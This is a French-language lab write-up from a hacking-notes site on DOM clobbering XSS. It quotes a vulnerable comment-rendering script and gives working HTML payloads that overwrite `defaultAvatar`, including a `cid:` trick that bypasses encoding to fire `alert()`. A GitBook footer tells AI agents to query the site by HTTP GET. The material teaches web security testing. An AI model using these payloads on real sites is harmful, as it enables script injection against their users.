> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/dom/dom-clobbering-xss.md).

# XSS par DOM clobbering

### Exploitation du DOM clobbering pour permettre le XSS

Exploiter une vulnérabilité de DOM clobbering. La fonctionnalité de commentaires permet un HTML « sûr ». L’objectif est d’injecter un fragment HTML qui écrase une variable DOM (clobbering) et de déclencher une exécution XSS (`alert()`).

<figure><img src="/files/f0b84bdbfadcf514102cdcd332f6289cf1b4535a" alt=""><figcaption></figcaption></figure>

La zone de commentaires accepte du HTML et certains éléments sont renvoyés (par exemple, un `<h1>` interpréteur).

<figure><img src="/files/e54a624735e0e75c46b82955c35c700340d96b8d" alt="" width="539"><figcaption></figcaption></figure>

* Le script côté client charge et affiche les commentaires récupérés en JSON. Il utilise `DOMPurify.sanitize()` pour nettoyer `author` et `corps` les champs, mais d’autres manipulations du DOM restent vulnérables au clobbering.

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* Le code crée un `defaultAvatar` objet en lisant `window.defaultAvatar` s’il est présent ; `defaultAvatar` peut donc être écrasé via un élément DOM portant un identifiant `defaultAvatar` (clobbering).
* Comme `src` l’attribut de `<img>` est construit à partir de `defaultAvatar.avatar` lorsque `comment.avatar` est absent, il est possible de forcer un `defaultAvatar` contrôlé par l’attaquant afin d’influencer la valeur insérée.
* L’insertion est effectuée par `divImgContainer.innerHTML = avatarImgHTML`, ce qui déclenche l’interprétation de la chaîne HTML construite.

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

Essayer de forcer `defaultAvatar` via un `<a id=defaultAvatar>` un élément contenant un attribut susceptible de provoquer une erreur côté client (par ex. `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

Ceci est encodé en URL par le système

<figure><img src="/files/e78b04dc79dab404fec22795d129615fd07fa4c3" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="/files/40c80c2f8515d6228a8d0ec0f1f3ea6f33c4476f" alt=""><figcaption></figcaption></figure>

Contournement testé à l’aide d’un `schéma cid:` de sorte que la valeur ne soit pas encodée :

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

ce dernier est interprété

<figure><img src="/files/15cd7d922ea132a8ea5f83e507aa4878e7067539" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="/files/be032e6175e3f4d450930ae4b8d9752dc5f64b04" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/dom/dom-clobbering-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
